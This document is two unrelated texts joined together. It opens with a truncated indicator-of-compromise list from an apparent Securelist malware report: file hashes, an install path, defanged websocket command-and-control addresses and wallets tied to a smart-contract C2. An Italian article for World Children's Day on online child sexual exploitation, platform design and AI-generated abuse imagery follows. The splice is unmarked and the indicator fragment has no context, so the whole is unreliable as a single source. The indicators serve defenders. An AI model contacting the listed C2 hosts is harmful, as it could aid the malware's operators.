B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F

File paths
%APPDATA%\Local\NodeJS

Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC

securelist.com/tsundere-node-j…

Giornata Mondiale dell’Infanzia: I bambini vivono nel digitale, ma il digitale non è stato progettato per loro

Oggi ricorre la Giornata Mondiale dell’Infanzia, fissata dall’ONU il 20 novembre per ricordare due atti fondamentali: la Dichiarazione dei Diritti del Fanciullo del 1959 e, trent’anni dopo, la Convenzione sui Diritti dell’Infanzia e dell’Adolescenza del 1989.

Un appuntamento che, ogni anno, rischia di diventare un gesto rituale, un promemoria sterile sul “diritto al futuro”.

Eppure il presente ci dice che la vera fragilità non sta nel futuro, ma nel modo in cui i bambini vivono oggi: in un ecosistema digitale che non è stato pensato per loro, non li protegge e li espone a rischi che non assomigliano più a niente di ciò che conoscevamo.

Un mondo adulto abitato da minori

Negli ultimi anni la ricerca internazionale, dai rapporti dell’OECD alla documentazione tecnica della Internet Watch Foundation, mostra con sempre maggiore chiarezza un fenomeno che continuiamo a non guardare con lucidità: i minori non sono più utenti occasionali. Sono immersi nella rete, dentro sistemi che funzionano per adulti e secondo logiche che ignorano completamente ciò che significa essere vulnerabili a undici o dodici anni.

Secondo l’OECD, nei paesi occidentali oltre il novantacinque per cento degli adolescenti accede a Internet ogni giorno, spesso più volte al giorno. Non si tratta semplicemente di “uso intensivo”, ma di un’esposizione costante a piattaforme dove identità e intenzioni non sono mai del tutto leggibili. La rete è diventata lo spazio principale di relazione, gioco, confronto e scoperta. Ma resta un ambiente progettato per massimizzare attenzione e permanenza, non per ridurre i rischi.

L’abuso che nasce dentro le relazioni

La Internet Watch Foundation, nel suo report 2023, ha analizzato 275.652 pagine web contenenti materiale di abuso sessuale su minori. Oltre il 92% di queste è stato classificato come “self-generated”: un termine che la stessa IWF definisce inadeguato, perché non riflette la realtà dei fatti. In molti casi i bambini vengono ingannati, manipolati, estorti o addirittura registrati a loro insaputa da qualcuno che non è fisicamente presente nella stanza.

È il segnale più chiaro della trasformazione in corso: l’abuso non arriva più da un luogo remoto, ma si infiltra nelle interazioni quotidiane, dentro applicazioni usate da tutti, dentro conversazioni che iniziano in modo innocuo e poi scivolano verso spazi sempre più privati. L’immagine del “predatore digitale” che si affaccia dall’esterno è superata. Oggi la minaccia si costruisce dall’interno delle relazioni, nelle chat dei videogiochi, nei social più popolari, in un ecosistema che rende semplice avvicinare, convincere, manipolare. Un ragazzino non deve cercare il rischio: è il rischio che trova lui, spesso travestito da normalità.

Un ecosistema criminale frammentato

Nel frattempo le reti criminali hanno adottato un modello operativo molto più frammentato rispetto al passato. Le indagini europee – dai rapporti IOCTA di Europol alla documentazione di INHOPE e IWF – mostrano che la vera trasformazione non riguarda più il contatto iniziale, ma ciò che accade dopo: una volta ottenuto il materiale, la sua circolazione segue una catena complessa, che attraversa livelli diversi della rete.

La raccolta avviene sempre più spesso in spazi intermedi, come chat private o servizi cloud, mentre la distribuzione si sposta verso circuiti chiusi o criptati, e solo in una fase successiva, quando necessario, negli strati meno accessibili della rete.

Questo meccanismo multilivello non riguarda l’adescamento, ma la diffusione, e riduce drasticamente la possibilità di intercettare tracce dirette. Ogni anomalia, per quanto minima, diventa un indizio prezioso.

L’esplosione silenziosa di Telegram

La portata del problema emerge anche da ciò che accade nelle piattaforme che consideriamo “ordinarie”. Negli ultimi giorni il canale ufficiale “Stop Child Abuse” di Telegram ha pubblicato una sequenza di aggiornamenti che difficilmente può essere ignorata: 1.998 gruppi e canali chiusi il 15 novembre, 1.937 il 16, 2.359 il 17. In tre giorni, più di seimila spazi dedicati alla condivisione o circolazione di materiale di abuso. Nel mese, la conta supera già le trentaseimila chiusure.

Non sono numeri del dark web, e non riguardano reti sotterranee. Sono gruppi visibili abbastanza da essere rilevati, segnalati e rimossi ogni giorno. La quantità non racconta solo la gravità. Racconta soprattutto la continuità: ogni rimozione è rimpiazzata da nuove aperture, con strutture che si ricostruiscono in poche ore, spesso automaticamente, spesso con gli stessi amministratori, spesso con gli stessi contenuti che migrano di stanza in stanza.

Questi dati mostrano con crudezza ciò che il dibattito pubblico fatica ancora a riconoscere: il problema non è confinato nelle periferie della rete. È parte integrante dell’infrastruttura digitale che usiamo tutti, tutti i giorni. Ed è proprio questa vicinanza – silenziosa, normalizzata, tecnicamente invisibile a chi non la cerca – che rende la protezione dell’infanzia un tema strutturale e non emergenziale.

Il lavoro invisibile che salva i bambini

In questo contesto, una parte cruciale del contrasto all’abuso resta quasi invisibile: l’identificazione delle vittime. È un lavoro silenzioso, fatto di dettagli – un oggetto sullo sfondo, un arredo ricorrente, un frammento visivo che riappare altrove – ricomposti fino a restituire un luogo, una situazione reale, una persona da proteggere.

Ed è qui che oggi si concentra gran parte dell’attività investigativa. Riconoscere una vittima permette molto più spesso di arrivare anche all’autore. Il contrario non è sempre vero: un account può essere identificato, ma i minori coinvolti restano senza nome, senza contesto, senza un perimetro di intervento.

Questo lavoro non produce annunci né operazioni spettacolari, ma risultati concreti. Ogni volta che un bambino viene localizzato, quasi sempre la traccia iniziale era un dettaglio che nessuno avrebbe notato. È un processo che non si vede; si vedono solo gli effetti.

L’IA che amplifica il danno senza che il minore agisca

A rendere il quadro ancora più complesso c’è l’introduzione massiva dell’intelligenza artificiale generativa. Non serve essere allarmisti per riconoscere che basta una singola immagine pubblica per creare, manipolare o distorcere contenuti che il minore non ha mai prodotto. Il danno non avviene più solo attraverso ciò che viene chiesto ai bambini, ma attraverso ciò che la tecnologia può costruire al posto loro. È una vulnerabilità che esiste anche quando il minore non compie nessuna azione.

Non è solo un problema educativo: è un problema di architettura

Tutto questo ci porta a un punto chiave: la protezione dei minori non è solo questione di educazione digitale. È, prima di tutto, una questione di architettura. Le piattaforme sono nate per incentivare la condivisione, non per prevenirne gli abusi. Gli algoritmi ottimizzano engagement, non sicurezza. I sistemi di segnalazione sono reattivi, non preventivi. E la risposta non può essere banalizzata con l’idea che basti un controllo dell’età, un accesso con SPID o un filtro all’ingresso. La vulnerabilità non nasce dal login: nasce da ciò che accade dentro le piattaforme, da come vengono modellate le interazioni, da quali dinamiche favoriscono o ignorano.

Ridurre la sicurezza dei bambini a un problema di autenticazione significa guardare la porta d’ingresso e ignorare tutto ciò che accade nelle stanze interne. La protezione reale si gioca nei processi invisibili: nei criteri con cui gli algoritmi decidono cosa mostrare, nei limiti imposti alle interazioni, nella capacità delle piattaforme di riconoscere comportamenti anomali prima che diventino danno.

Ripensare il digitale dalla base

Se la Giornata Mondiale dell’Infanzia ha ancora un senso, allora oggi deve diventare il momento in cui accettiamo che la rete non è un luogo neutrale e che i diritti dei bambini, nell’ambiente digitale, non possono essere consigliati: devono essere progettati. Finché le piattaforme continueranno a considerare i minori come utenti qualsiasi, finché gli algoritmi continueranno a trattare i loro comportamenti come segnali da ottimizzare, finché la moderazione resterà un tappabuchi e non una funzione strutturale, la vulnerabilità rimarrà sistemica.

L’infanzia digitale non è un’estensione dell’infanzia reale. È un terreno diverso, con rischi diversi, costruito su logiche che bambini e adolescenti non hanno gli strumenti per interpretare. E finché questa distanza non verrà colmata, continueremo a celebrare una ricorrenza che parla di diritti, mentre il mondo che abbiamo costruito li mette costantemente alla prova.

Come affrontare davvero il problema

Affrontare questo problema non significa solo “educare meglio i bambini”, né “mettere più controllo”, né pretendere che famiglie e scuole compensino limiti che non dipendono esclusivamente da loro.
Significa riprogettare il digitale in modo che i minori non siano più un effetto collaterale del sistema.

Vuol dire chiedere alle piattaforme trasparenza sugli algoritmi, limiti chiari sulle interazioni, controlli strutturali sulle dinamiche di contatto, moderazione che intervenga prima e non dopo. Vuol dire spostare la responsabilità su chi costruisce gli ambienti – non su chi li subisce. Vuol dire considerare l’infanzia non come un caso particolare, ma come una condizione di progetto, al pari della sicurezza informatica, della privacy o dell’accessibilità.

E, soprattutto, significa smettere di pensare che il rischio sia un incidente. Il rischio è una conseguenza del design.

La protezione dei minori nel digitale non è un gesto di cura: è un requisito tecnico.
E finché non verrà trattato come tale, continueremo a discutere di diritti mentre il sistema, semplicemente, non li contempla.

Punto di vista finale

Ogni volta che qualcuno dice “ma i ragazzi devono imparare a difendersi, ormai sono nativi digitali e più svegli di noi”, ricordo che nel 2025 un adolescente ha la stessa capacità esecutiva e di previsione delle conseguenze che aveva nel 1990.
È l’ambiente che è cambiato radicalmente, non la neurobiologia infantile.

Il digitale non è “nato cattivo”.
È nato senza considerare che ci sarebbero stati dentro anche loro.

Adesso lo sappiamo.
Non abbiamo più scuse.

L'articolo Giornata Mondiale dell’Infanzia: I bambini vivono nel digitale, ma il digitale non è stato progettato per loro proviene da Red Hot Cyber.